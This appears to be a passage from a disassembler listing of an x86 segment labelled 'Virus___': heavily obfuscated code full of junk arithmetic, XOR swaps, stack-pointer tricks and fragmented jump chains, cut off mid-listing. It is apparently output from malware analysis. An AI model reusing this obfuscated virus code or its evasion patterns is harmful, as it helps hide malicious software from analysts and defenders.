; CODE XREF: Virus___:005907CEj sub ecx, 4B41062Eh not ecx add ecx, 280287F0h push ebx jmp loc_589798 ; --------------------------------------------------------------------------- loc_58C1CD: ; CODE XREF: Virus___:00589E9Aj mov ch, 0Ah jmp loc_5928B3 ; --------------------------------------------------------------------------- loc_58C1D4: ; CODE XREF: Virus___:00580860j push ebx jmp loc_58D3CA ; --------------------------------------------------------------------------- loc_58C1DA: ; CODE XREF: Virus___:00593232j pop dword ptr [esp] push ecx mov ecx, 4 jmp loc_581719 ; --------------------------------------------------------------------------- loc_58C1E8: ; CODE XREF: Virus___:0058FED2j push small 182Eh mov [esp], dx push ebx jmp loc_59388B ; --------------------------------------------------------------------------- loc_58C1F6: ; CODE XREF: Virus___:00591A7Aj not esi add esi, 38FE71DCh xor esi, 38610E84h sub edx, esi jmp loc_58E840 ; --------------------------------------------------------------------------- loc_58C20B: ; CODE XREF: Virus___:00583553j add ebx, edi jmp loc_588B74 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58F1BC ; --------------------------------------------------------------------------- loc_58C21A: ; CODE XREF: Virus___:005815F7j mov esi, 1 or [edi+1Ch], esi push dword ptr [esp] push dword ptr [esp] jmp loc_593203 ; --------------------------------------------------------------------------- loc_58C22D: ; CODE XREF: Virus___:00587855j xchg eax, [esp] pop esp push ecx mov ecx, esp push 6A5Eh mov [esp], ebp jmp loc_581BB9 ; --------------------------------------------------------------------------- loc_58C241: ; CODE XREF: Virus___:00593926j add eax, [edx] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_5910D4 ; --------------------------------------------------------------------------- loc_58C257: ; CODE XREF: Virus___:0058F544j pop edi add eax, ebx pop ebx push esi mov esi, 4 jmp loc_58C363 ; --------------------------------------------------------------------------- loc_58C266: ; CODE XREF: Virus___:00592CDDj mov esp, [esp] push edi pop eax jmp loc_590815 ; --------------------------------------------------------------------------- loc_58C270: ; CODE XREF: Virus___:0057FEC2j pop ebx jmp loc_593F2D ; --------------------------------------------------------------------------- loc_58C276: ; CODE XREF: Virus___:00583621j pop ecx add ebx, ebp jmp loc_5835A9 ; --------------------------------------------------------------------------- loc_58C27E: ; CODE XREF: Virus___:00585715j pop edx pop dword ptr [esp] pop esp jmp loc_5821E7 ; --------------------------------------------------------------------------- loc_58C288: ; CODE XREF: Virus___:00592DC3j add edi, 4 jmp loc_58D8DD ; --------------------------------------------------------------------------- loc_58C293: ; CODE XREF: Virus___:005830B5j sub esp, 4 jmp loc_585152 ; --------------------------------------------------------------------------- loc_58C29B: ; CODE XREF: Virus___:00585155j mov edx, 7B4C1B7Ah add edx, 0A1BC37EAh mov ebx, edx pop edx mov edi, 1D085368h sub edi, 3AA658E8h sub edi, ebx jmp loc_592E34 ; --------------------------------------------------------------------------- loc_58C2BB: ; CODE XREF: Virus___:00581B75j shl ecx, 6 jmp loc_58E9C5 ; --------------------------------------------------------------------------- loc_58C2C3: ; CODE XREF: Virus___:0058463Dj mov cx, [esp] sub esp, 4 mov [esp], ebx jmp loc_582A6E ; --------------------------------------------------------------------------- loc_58C2D5: ; CODE XREF: Virus___:00593A50j not dword ptr [esp] mov eax, [esp] add esp, 4 xchg eax, edx xor edx, 0E2F591FEh and ecx, edx pop edx shr ecx, 0 or eax, eax jz loc_57FBFD push 433Fh mov [esp], ebp push edx jmp loc_592111 ; --------------------------------------------------------------------------- loc_58C304: ; CODE XREF: Virus___:0058CA29j xor esi, edx jmp loc_5929C3 ; --------------------------------------------------------------------------- loc_58C30B: ; CODE XREF: Virus___:0058F894j sub al, bh mov ebx, [esp] add esp, 4 jmp loc_58C0FD ; --------------------------------------------------------------------------- loc_58C318: ; CODE XREF: Virus___:005897C9j push dword ptr [esp] pop ebx jmp loc_58DE51 ; --------------------------------------------------------------------------- loc_58C321: ; CODE XREF: Virus___:0058DE4Cj push ebx push dword ptr [esp+4] jmp loc_58853E ; --------------------------------------------------------------------------- loc_58C32B: ; CODE XREF: Virus___:0058036Cj sub dword ptr [esp], 2EFF5256h pop ebx add ebx, 2EFF5256h pop edi push ebx push eax jmp loc_586C4B ; --------------------------------------------------------------------------- loc_58C341: ; CODE XREF: Virus___:00591A8Bj dec edi shl edi, 3 jmp loc_581D26 ; --------------------------------------------------------------------------- loc_58C34A: ; CODE XREF: Virus___:00591FB8j push ebp mov ebp, 472F54A3h jmp loc_582D27 ; --------------------------------------------------------------------------- loc_58C355: ; CODE XREF: Virus___:005899C6j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_584DCF ; --------------------------------------------------------------------------- loc_58C363: ; CODE XREF: Virus___:0058C261j sub eax, 5AE0243Eh add eax, esi add eax, 5AE0243Eh mov esi, [esp] jmp loc_592912 ; --------------------------------------------------------------------------- loc_58C377: ; CODE XREF: Virus___:0059380Fj push esp pop dword ptr [esp] push ebp mov ebp, 4 sub dword ptr [esp+4], 75790116h add [esp+4], ebp add dword ptr [esp+4], 75790116h pop ebp pop eax jmp loc_591863 ; --------------------------------------------------------------------------- loc_58C39C: ; CODE XREF: Virus___:005913B3j inc esi sub esi, 39BB6BFBh inc esi shl esi, 7 jmp loc_5893A8 ; --------------------------------------------------------------------------- loc_58C3AC: ; CODE XREF: Virus___:00589793j mov eax, 2 add ebp, eax mov eax, [esp] add esp, 4 jmp loc_590912 ; --------------------------------------------------------------------------- loc_58C3BE: ; CODE XREF: Virus___:00584D72j push ebp jmp loc_5927C9 ; --------------------------------------------------------------------------- loc_58C3C4: ; CODE XREF: Virus___:00592597j push ecx mov ecx, esp jmp loc_58A549 ; --------------------------------------------------------------------------- loc_58C3CC: ; CODE XREF: Virus___:005819FEj pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58863A ; --------------------------------------------------------------------------- loc_58C3E2: ; CODE XREF: Virus___:00581C9Ej add esp, 4 add esp, 4 push ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] or eax, eax jnz loc_591841 push ebx jmp loc_588989 ; --------------------------------------------------------------------------- loc_58C417: ; CODE XREF: Virus___:005871FAj sub ecx, 0EA3701DEh mov edx, ecx pop ecx sub ebx, edx pop edx push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58C43F: ; CODE XREF: Virus___:005913ABj add eax, 2DD0070Fh shl eax, 1 push ebx mov ebx, 1 add eax, ebx jmp loc_58ECA5 ; --------------------------------------------------------------------------- loc_58C453: ; CODE XREF: Virus___:0058B132j sub al, dl add al, 3Eh push dword ptr [esp] pop edx push eax push esp jmp loc_58014F ; --------------------------------------------------------------------------- loc_58C462: ; CODE XREF: Virus___:00590C47j add esp, 4 sub esi, 7D342352h add esi, eax add esi, 7D342352h pop eax jmp loc_583CE1 ; --------------------------------------------------------------------------- loc_58C47C: ; CODE XREF: Virus___:00591903j pop dword ptr [edi+eax*4] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58C484: ; CODE XREF: Virus___:00580A33j mov edi, esp push esi mov esi, 20ED5E0Ah add esi, 0DF12A1FAh add edi, esi pop esi add edi, 2 jmp loc_586383 ; --------------------------------------------------------------------------- loc_58C4A0: ; CODE XREF: Virus___:0058E721j neg edx jmp loc_57FA1B ; --------------------------------------------------------------------------- loc_58C4A7: ; CODE XREF: Virus___:0058D956j pop ebp add esp, 4 jmp loc_582C94 ; --------------------------------------------------------------------------- loc_58C4B3: ; CODE XREF: Virus___:005851B0j sub ecx, 24D143E6h jmp loc_58B9F2 ; --------------------------------------------------------------------------- loc_58C4BE: ; CODE XREF: Virus___:00580B28j add edi, edx add edi, 633C1E5Ah add edi, 204D6128h mov edx, [esp] add esp, 4 push eax jmp loc_58E9DE ; --------------------------------------------------------------------------- loc_58C4D8: ; CODE XREF: Virus___:0057F3FAj add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push ebx jmp loc_590ACC ; --------------------------------------------------------------------------- loc_58C4EB: ; CODE XREF: Virus___:00590BD2j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58C4F0: ; CODE XREF: Virus___:005847E6j mov esi, [esp] jmp loc_59405D ; --------------------------------------------------------------------------- loc_58C4F8: ; CODE XREF: Virus___:00580BFAj add esp, 4 push ebp jmp loc_58DFEE ; --------------------------------------------------------------------------- loc_58C504: ; CODE XREF: Virus___:0058F070j mov eax, 4 sub esi, eax pop eax xchg esi, [esp] jmp loc_585CCE ; --------------------------------------------------------------------------- loc_58C514: ; CODE XREF: Virus___:0058D5D1j and ebp, 3B126A6Eh add ebp, 9C8FC26h jmp loc_587FE7 ; --------------------------------------------------------------------------- loc_58C525: ; CODE XREF: Virus___:00591873j sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], edi push 400h pop edi jmp loc_58FC55 ; --------------------------------------------------------------------------- loc_58C542: ; CODE XREF: Virus___:0058DA45j mov ecx, 7B29796Fh and ecx, 5F674C45h not ecx shr ecx, 5 shl ecx, 8 sub ecx, 0A5CB5F2h push edi mov edi, ecx push 2CB5h mov [esp], edi jmp loc_58F706 ; --------------------------------------------------------------------------- loc_58C56B: ; CODE XREF: Virus___:005885B3j sub ebp, 36D93EFEh sub ebp, esi jmp loc_590771 ; --------------------------------------------------------------------------- loc_58C578: ; CODE XREF: Virus___:00592EAEj mov ebx, [esp] add esp, 4 jmp loc_592940 ; --------------------------------------------------------------------------- loc_58C586: ; CODE XREF: Virus___:005877FEj add dword ptr [esp], 4 pop ebp jmp loc_58746A ; --------------------------------------------------------------------------- loc_58C590: ; CODE XREF: Virus___:005923D1j inc ebx neg ebx add ebx, 0DF14507h and ebx, 196F53A6h push ebx jmp loc_580EDA ; --------------------------------------------------------------------------- loc_58C5A5: ; CODE XREF: Virus___:00583C0Bj pop edi add ebp, edx jmp loc_582503 ; --------------------------------------------------------------------------- loc_58C5AD: ; CODE XREF: Virus___:0058BC71j push 4CAB0FFCh pop ebx sub eax, ebx pop ebx sub edi, 5FBF049Eh add edi, eax sub esp, 4 mov [esp], esi mov esi, 5FBF049Eh jmp loc_590DE2 ; --------------------------------------------------------------------------- loc_58C5CE: ; CODE XREF: Virus___:0058D588j pop ebx add esp, 4 jmp loc_58C604 ; --------------------------------------------------------------------------- loc_58C5DA: ; CODE XREF: Virus___:00585186j pop ebp xchg ebx, [esp] mov esp, [esp] add esp, 4 xchg ecx, ebx push ecx xchg ebp, [esp] not ebp xchg ebp, [esp] pop ecx push ebx push ecx mov ebx, [esp] jmp loc_59003D ; --------------------------------------------------------------------------- loc_58C5FA: ; CODE XREF: Virus___:00581EDBj mov esi, 4 jmp loc_57FEC7 ; --------------------------------------------------------------------------- loc_58C604: ; CODE XREF: Virus___:0058C5D5j push dword ptr [esp] pop ebp add esp, 4 and eax, edx mov edx, [esp] push 4932h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_58592B ; --------------------------------------------------------------------------- loc_58C62E: ; CODE XREF: Virus___:0059451Ej add al, 40h mov bh, al pop eax mov cl, 0E8h sub cl, 0A6h sub cl, bh add cl, 0A6h pop ebx add al, 69h sub al, cl sub al, 69h jmp loc_591FE2 ; --------------------------------------------------------------------------- loc_58C649: ; CODE XREF: Virus___:00586195j mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_584256 ; --------------------------------------------------------------------------- loc_58C660: ; CODE XREF: Virus___:0058F5A7j mov esp, [esp] sub [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58C66D: ; CODE XREF: Virus___:00583801j xchg ecx, [esp] pop esp mov edx, ebx pop ebx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58C679: ; CODE XREF: Virus___:0059097Cj inc edi sub edi, 7EA855C6h or edi, 719C74DBh shl edi, 6 add edi, 30316246h xor edi, 0AFBB2756h or eax, edi pop edi xchg eax, edi not edi xchg eax, edi inc eax push ebp mov ebp, 3CA2617Eh add ebp, 0FFFFFFFFh shl ebp, 6 add ebp, 975C2819h add eax, ebp mov ebp, [esp] push eax mov eax, esp jmp loc_58EC5A ; --------------------------------------------------------------------------- loc_58C6BF: ; CODE XREF: Virus___:0057FF28j mov ebp, [esp] add esp, 4 push 1497h mov [esp], edx jmp loc_5871BB ; --------------------------------------------------------------------------- loc_58C6D2: ; CODE XREF: Virus___:0058596Bj add esp, 4 shl ecx, 2 push ebx mov ebx, 5EC97ADAh jmp loc_58EECF ; --------------------------------------------------------------------------- loc_58C6E3: ; CODE XREF: Virus___:0058B737j push 0C5Bh mov [esp], eax push 950FCFF4h mov eax, [esp] add esp, 4 sub edx, 260B1B70h add edx, 65BA0E19h add edx, eax sub edx, 65BA0E19h add edx, 260B1B70h pop eax add ebp, edx jmp loc_583A06 ; --------------------------------------------------------------------------- loc_58C718: ; CODE XREF: Virus___:00583AA7j push edx jmp loc_583837 ; --------------------------------------------------------------------------- loc_58C71E: ; CODE XREF: Virus___:0058A5DDj add eax, esi mov esi, [esp] add esp, 4 xchg eax, [esp] pop esp xchg edx, esi xor [esp], esi xor esi, [esp] xor [esp], esi jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58C73A: ; CODE XREF: Virus___:00584097j pop ecx jmp loc_5895A6 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_593ED8 ; --------------------------------------------------------------------------- loc_58C747: ; CODE XREF: Virus___:0059319Fj not edi shr edi, 3 push ecx mov ecx, 562258E9h add ecx, 0C77DAB52h jmp loc_581C5F ; --------------------------------------------------------------------------- loc_58C75D: ; CODE XREF: Virus___:005911DEj mov ah, 1Dh inc ah not ah or ah, 65h inc ah xor ah, 0Bh xor ch, ah jmp loc_5841E0 ; --------------------------------------------------------------------------- loc_58C772: ; CODE XREF: Virus___:005901B0j xor cl, 0F0h shl cl, 2 neg cl add cl, 75h xor bl, cl mov ecx, [esp] add esp, 4 add bl, 12h push 6F25h mov [esp], ebx not byte ptr [esp] jmp loc_587F1D ; --------------------------------------------------------------------------- loc_58C798: ; CODE XREF: Virus___:00590A6Cj mov ebp, [esp] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_58FE3D ; --------------------------------------------------------------------------- loc_58C7AC: ; CODE XREF: Virus___:00589F92j mov esi, 8EE18B8Bh sub esi, ecx pop ecx add edx, esi jmp loc_589839 ; --------------------------------------------------------------------------- loc_58C7BB: ; CODE XREF: Virus___:00582070j add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_580A44 ; --------------------------------------------------------------------------- loc_58C7D2: ; CODE XREF: Virus___:0058E6F5j and ebx, 7E923625h add ebx, 1C1D429Ah jmp loc_584EC1 ; --------------------------------------------------------------------------- loc_58C7E3: ; CODE XREF: Virus___:0058FA3Dj add ecx, 172804B1h xor ecx, 17FE6D0Ch jmp loc_58CD4F ; --------------------------------------------------------------------------- loc_58C7F4: ; CODE XREF: Virus___:00581DDDj mov ch, 12h xor ch, bl pop ebx jmp loc_58B057 ; --------------------------------------------------------------------------- lodsd push edi mov edi, 287C3955h inc edi shl edi, 6 shl edi, 4 sub edi, 0E0D6EBC3h sub eax, edi jmp loc_5825F7 ; --------------------------------------------------------------------------- loc_58C819: ; CODE XREF: Virus___:00581159j pop edx add esi, 4 xchg esi, [esp] pop esp sub ecx, 7F631DA8h add ecx, 23133C14h add ecx, edi push esi jmp loc_592021 ; --------------------------------------------------------------------------- loc_58C838: ; CODE XREF: Virus___:00592948j push dword ptr [esp] mov eax, [esp] add esp, 4 push 49AEh mov [esp], ebp push esp mov ebp, [esp] push edi mov edi, esp add edi, 4 jmp loc_59370A ; --------------------------------------------------------------------------- loc_58C85B: ; CODE XREF: Virus___:0058FEA8j mov ebx, 4 jmp loc_58ACD8 ; --------------------------------------------------------------------------- loc_58C865: ; CODE XREF: Virus___:0058844Cj pop esp pop dword ptr [esp] jmp loc_58D8A6 ; --------------------------------------------------------------------------- loc_58C86E: ; CODE XREF: Virus___:005938DAj mov edx, 114F66ABh xor eax, edx pop edx xchg eax, edi not edi xchg eax, edi xor eax, 8D2DC4D5h jmp loc_57F8D9 ; --------------------------------------------------------------------------- loc_58C884: ; CODE XREF: Virus___:00590141j mov eax, [esp] jmp loc_581595 ; --------------------------------------------------------------------------- loc_58C88C: ; CODE XREF: Virus___:00592B4Ej mov edi, edx pop edx or edi, 49612324h neg edi xchg eax, edi jmp loc_58B534 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx push esp jmp loc_58354C ; --------------------------------------------------------------------------- loc_58C8B3: ; CODE XREF: Virus___:0058ABA8j mov ebx, eax jmp loc_58D7B4 ; --------------------------------------------------------------------------- loc_58C8BA: ; CODE XREF: Virus___:0058F07Aj mov edx, esp push ebx mov ebx, 313E1447h sub ebx, 26F8652Eh add ebx, 7C2D365Dh jmp loc_581C6D ; --------------------------------------------------------------------------- loc_58C8D3: ; CODE XREF: Virus___:00581E72j mov ebp, [esp] add esp, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_587D55 ; --------------------------------------------------------------------------- loc_58C8EA: ; CODE XREF: Virus___:0058DA59j xchg edx, [esp] pop esp jmp loc_58ACFC ; --------------------------------------------------------------------------- loc_58C8F3: ; CODE XREF: Virus___:00581D70j mov ecx, [esp] jmp loc_5927ED ; --------------------------------------------------------------------------- loc_58C8FB: ; CODE XREF: Virus___:00592D32j sub esp, 4 mov [esp], ebx mov bh, 0C0h push ecx jmp loc_586763 ; --------------------------------------------------------------------------- loc_58C909: ; CODE XREF: Virus___:0058286Cj mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push eax push 65E2h jmp loc_584FC2 ; --------------------------------------------------------------------------- loc_58C91E: ; CODE XREF: Virus___:00589D39j xor al, 0A7h sub bl, al mov eax, [esp] add esp, 4 push cx mov ch, 83h jmp loc_589F0A ; --------------------------------------------------------------------------- loc_58C931: ; CODE XREF: Virus___:0058980Cj add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push eax jmp loc_58CBE5 ; --------------------------------------------------------------------------- loc_58C944: ; CODE XREF: Virus___:0058D7A4j pop esi mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_587C85 ; --------------------------------------------------------------------------- loc_58C969: ; CODE XREF: Virus___:0058010Fj push esi jmp loc_58DFA4 ; --------------------------------------------------------------------------- loc_58C96F: ; CODE XREF: Virus___:0058AA43j sub al, 0BFh shr al, 4 xor al, 13h mov cl, al pop eax push bx mov bh, 1Dh add cl, bh jmp loc_589FCE ; --------------------------------------------------------------------------- loc_58C984: ; CODE XREF: Virus___:0058AAEBj sub edi, 4C6E3863h pop ebp push ecx jmp loc_587592 ; --------------------------------------------------------------------------- loc_58C991: ; CODE XREF: Virus___:005865ADj mov [esp], esp add dword ptr [esp], 4 pop ebx push ebp mov ebp, 2D423CCAh dec ebp add ebp, 0FFFFFFFFh shl ebp, 2 xor ebp, 0B508F324h add ebx, ebp pop ebp add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_585D8C ; --------------------------------------------------------------------------- loc_58C9C3: ; CODE XREF: Virus___:00580A1Aj dec edx not edx or edx, 3375E11h and edx, 12B4872h neg edx jmp loc_585625 ; --------------------------------------------------------------------------- loc_58C9D9: ; CODE XREF: Virus___:0058033Dj pop ebp sub esp, 4 mov [esp], eax jmp loc_5817E8 ; --------------------------------------------------------------------------- loc_58C9E5: ; CODE XREF: Virus___:0058083Aj pop edi jmp loc_583574 ; --------------------------------------------------------------------------- loc_58C9EB: ; CODE XREF: Virus___:00583547j sub ebx, eax jmp loc_58D8CF ; --------------------------------------------------------------------------- loc_58C9F2: ; CODE XREF: Virus___:00590E1Fj pop ebx xchg edx, [esp] pop esp add ecx, 4 jmp loc_589155 ; --------------------------------------------------------------------------- loc_58CA02: ; CODE XREF: Virus___:0057F4C0j mov ebx, [esp] add esp, 4 jmp loc_5918F6 ; --------------------------------------------------------------------------- loc_58CA0D: ; CODE XREF: Virus___:00589226j add ebx, 1697ABBh pop ebp push eax jmp loc_585A52 ; --------------------------------------------------------------------------- loc_58CA1A: ; CODE XREF: Virus___:0057FC9Ej pop ebx push esi push 78596FA2h pop esi xchg edx, esi push edx not dword ptr [esp] pop edx jmp loc_58C304 ; --------------------------------------------------------------------------- loc_58CA2E: ; CODE XREF: Virus___:0058DA31j mov dl, 63h push eax mov al, dl mov cl, al pop eax mov dx, [esp] add esp, 2 push edx sub esp, 4 mov [esp], ebx jmp loc_585C22 ; --------------------------------------------------------------------------- loc_58CA4F: ; CODE XREF: Virus___:00593761j add dword ptr [esp], 4 push dword ptr [esp] jmp loc_58B8B8 ; --------------------------------------------------------------------------- loc_58CA5B: ; CODE XREF: Virus___:00592DEAj mov eax, esp jmp loc_58DE63 ; --------------------------------------------------------------------------- loc_58CA62: ; CODE XREF: Virus___:0058663Dj sub al, bh mov ebx, [esp] add esp, 4 add al, dl jmp loc_590317 ; --------------------------------------------------------------------------- loc_58CA74: ; CODE XREF: Virus___:00594445j push edi jmp loc_580561 ; --------------------------------------------------------------------------- loc_58CA7A: ; CODE XREF: Virus___:00581E56j pop esp mov [esp], eax mov eax, 7CFE70C3h add edx, 5654B87h jmp loc_5835D2 ; --------------------------------------------------------------------------- loc_58CA8E: ; CODE XREF: Virus___:005841DBj mov esp, [esp] push ecx jmp loc_587DD2 ; --------------------------------------------------------------------------- loc_58CA97: ; CODE XREF: Virus___:005850D3j shr dl, 5 push eax mov al, 0DCh or al, 3Bh sub al, 17h add dl, al pop eax add dl, 95h jmp loc_591C36 ; --------------------------------------------------------------------------- loc_58CAAC: ; CODE XREF: Virus___:0058E606j xor ebp, 5F44A71h sub eax, ebp pop ebp push esi jmp loc_589FC2 ; --------------------------------------------------------------------------- loc_58CABB: ; CODE XREF: Virus___:0058F915j pop esp push 4401h mov [esp], edx mov edx, esp sub esp, 4 mov [esp], edi mov edi, 4 add edx, 78B2AA1h add edx, edi sub edx, 78B2AA1h pop edi push esi mov esi, 4 add edx, 39351CEh sub edx, 62752B6Eh sub edx, esi add edx, 62752B6Eh jmp loc_58D05C ; --------------------------------------------------------------------------- loc_58CAFF: ; CODE XREF: Virus___:00584891j inc dl push eax mov ah, 32h sub esp, 4 jmp loc_57F6D9 ; --------------------------------------------------------------------------- loc_58CB0F: ; CODE XREF: Virus___:0058B1D3j pop esp push 1A3Eh jmp loc_589FA4 ; --------------------------------------------------------------------------- loc_58CB1A: ; CODE XREF: Virus___:0058F098j xor ebp, [esp] xor [esp], ebp jmp loc_58F92A ; --------------------------------------------------------------------------- loc_58CB25: ; CODE XREF: Virus___:0058AAF9j push ecx jmp loc_5859A8 ; --------------------------------------------------------------------------- loc_58CB2B: ; CODE XREF: Virus___:005825C7j shr edi, 4 add edi, 397E587Bh neg edi add edi, 9D214AC6h sub eax, 5E0D6CB2h add eax, edi add eax, 5E0D6CB2h pop edi add eax, 2D8B28E5h push 4986h jmp loc_58BA58 ; --------------------------------------------------------------------------- loc_58CB58: ; CODE XREF: Virus___:00581C08j dec ecx jmp loc_586733 ; --------------------------------------------------------------------------- loc_58CB5E: ; CODE XREF: Virus___:0059365Cj mov esp, [esp] mov [esp], dx push ax pushf jmp loc_58B58D ; --------------------------------------------------------------------------- loc_58CB6D: ; CODE XREF: Virus___:00584217j xchg ebp, [esp] jmp loc_58E84F ; --------------------------------------------------------------------------- loc_58CB75: ; CODE XREF: Virus___:00580C5Aj add eax, 2F1B438Fh inc eax shr eax, 2 sub eax, 375F326Bh mov ebp, eax pop eax add eax, ebp pop ebp push edi mov edi, 4 jmp loc_5814BA ; --------------------------------------------------------------------------- loc_58CB94: ; CODE XREF: Virus___:00590562j pop esp pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_580735 ; --------------------------------------------------------------------------- loc_58CBA7: ; CODE XREF: Virus___:005801A7j shl bh, 7 sub bh, 90h jmp loc_581FCD ; --------------------------------------------------------------------------- loc_58CBB2: ; CODE XREF: Virus___:0058425Ej add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 739B487Eh xor ecx, 3E03AB9h xor ecx, 707B72C7h mov ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_592B15 ; --------------------------------------------------------------------------- loc_58CBE5: ; CODE XREF: Virus___:0058C93Fj mov eax, 5B305840h push 74E9h mov [esp], edi mov edi, 48C126A0h xor edi, 25054039h sub edi, 0C8F4BED5h jmp loc_58290A ; --------------------------------------------------------------------------- loc_58CC08: ; CODE XREF: Virus___:00581A5Fj push ecx push esi mov esi, 432A4615h and esi, 15567C12h sub esi, 902AE862h mov ecx, esi pop esi xor edx, ecx jmp loc_5846DD ; --------------------------------------------------------------------------- loc_58CC25: ; CODE XREF: Virus___:0058E44Ej mov ebp, 28204C9Ch jmp loc_58D5CB ; --------------------------------------------------------------------------- loc_58CC2F: ; CODE XREF: Virus___:0058DC06j add eax, 4 xchg eax, [esp] pop esp pop ecx push 3618h mov [esp], eax sub esp, 4 mov [esp], ebx mov eax, [esp] add esp, 4 mov ebx, [esp] add esp, 4 jmp loc_59337D ; --------------------------------------------------------------------------- loc_58CC5B: ; CODE XREF: Virus___:0058E792j not edx xor edx, 75F25CD3h jmp loc_5848DF ; --------------------------------------------------------------------------- loc_58CC68: ; CODE XREF: Virus___:005842CBj sub edx, eax push dword ptr [esp] pop eax add esp, 4 add edi, edx mov edx, [esp] add esp, 4 push edx mov edx, 2905207Dh shr edx, 8 inc edx and edx, 70856F5Ah xor edx, 26F431FBh add edi, edx pop edx add edi, ecx sub edi, 26F534FBh sub edi, 4CE67812h jmp loc_5865F2 ; --------------------------------------------------------------------------- loc_58CCA5: ; CODE XREF: Virus___:00583240j add eax, 4 jmp loc_58401A ; --------------------------------------------------------------------------- loc_58CCAF: ; CODE XREF: Virus___:0058EA3Cj pop esp jmp loc_59155B ; --------------------------------------------------------------------------- loc_58CCB5: ; CODE XREF: Virus___:005808C7j pop ebx add [esp+4], esi add dword ptr [esp+4], 4FDB268Dh jmp loc_58CF1D ; --------------------------------------------------------------------------- loc_58CCC7: ; CODE XREF: Virus___:00583527j shr si, 1 add si, 0F929h mov cx, si pop esi jmp loc_5852AF ; --------------------------------------------------------------------------- loc_58CCD8: ; CODE XREF: Virus___:0058047Ej push dword ptr [esp] pop ebp push edx push esp mov edx, [esp] add esp, 4 add edx, 4 push ecx mov ecx, 4 jmp loc_5873DF ; --------------------------------------------------------------------------- loc_58CCF5: ; CODE XREF: Virus___:0058E4A2j or [edi+1Ch], ecx jmp loc_58F59C ; --------------------------------------------------------------------------- loc_58CCFD: ; CODE XREF: Virus___:0058BC1Fj pop ebp add dword ptr [esp+4], 7E8942DAh sub [esp+4], ecx sub dword ptr [esp+4], 7E8942DAh push dword ptr [esp] jmp loc_5858CC ; --------------------------------------------------------------------------- loc_58CD1A: ; CODE XREF: Virus___:0059269Ej pop eax pop ebp push ecx push dword ptr [esp+4] pop ecx jmp loc_58D2B7 ; --------------------------------------------------------------------------- loc_58CD27: ; CODE XREF: Virus___:005823ECj pop ebx jmp loc_588F6F ; --------------------------------------------------------------------------- loc_58CD2D: ; CODE XREF: Virus___:005904BEj sub edx, ebx pop ebx xor edx, ecx jmp loc_588811 ; --------------------------------------------------------------------------- loc_58CD37: ; CODE XREF: Virus___:005840B3j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_590D40 ; --------------------------------------------------------------------------- loc_58CD4A: ; CODE XREF: Virus___:00592B97j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58CD4F: ; CODE XREF: Virus___:0058C7EFj push ecx pop ebp mov ecx, [esp] push esi mov esi, esp push edx mov edx, 4 add esi, 7A265D1Ch add esi, edx push ebp mov ebp, 7A265D1Ch sub esi, ebp pop ebp pop edx add esi, 4 xchg esi, [esp] pop esp jmp loc_5937DE ; --------------------------------------------------------------------------- loc_58CD7B: ; CODE XREF: Virus___:00592157j pop eax jmp loc_592C25 ; --------------------------------------------------------------------------- loc_58CD81: ; CODE XREF: Virus___:0058B038j pop ecx add esp, 4 add ecx, 4 push edx push edi jmp loc_591CA3 ; --------------------------------------------------------------------------- loc_58CD95: ; CODE XREF: Virus___:00589F99j add edx, 4 push ebx mov ebx, 4 add edx, ebx jmp loc_591C45 ; --------------------------------------------------------------------------- loc_58CDA8: ; CODE XREF: Virus___:00587953j add eax, 7BEB4955h sub eax, 0FB3DF2Bh add edi, eax pop eax add edi, ecx push eax mov eax, 6D830AE1h sub edi, eax jmp loc_5843B5 ; --------------------------------------------------------------------------- loc_58CDC4: ; CODE XREF: Virus___:0058F1FFj mov eax, 0BF2A3BF4h jmp loc_58EFB1 ; --------------------------------------------------------------------------- loc_58CDCE: ; CODE XREF: Virus___:00593014j mov edi, esp push esi mov esi, 4 add edi, esi pop esi add edi, 4 xchg edi, [esp] pop esp jmp loc_583C86 ; --------------------------------------------------------------------------- loc_58CDE8: ; CODE XREF: Virus___:00589302j pop eax push ebx push eax push ecx mov ecx, 38F77145h mov eax, 322808B3h add eax, ecx pop ecx shl eax, 8 push edi mov edi, 26B75B3Bh jmp loc_5877B2 ; --------------------------------------------------------------------------- loc_58CE07: ; CODE XREF: Virus___:0058333Cj push ebp mov ebp, 3728634Dh jmp loc_583A2A ; --------------------------------------------------------------------------- loc_58CE12: ; CODE XREF: Virus___:0058D195j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_57FE4B ; --------------------------------------------------------------------------- loc_58CE1E: ; 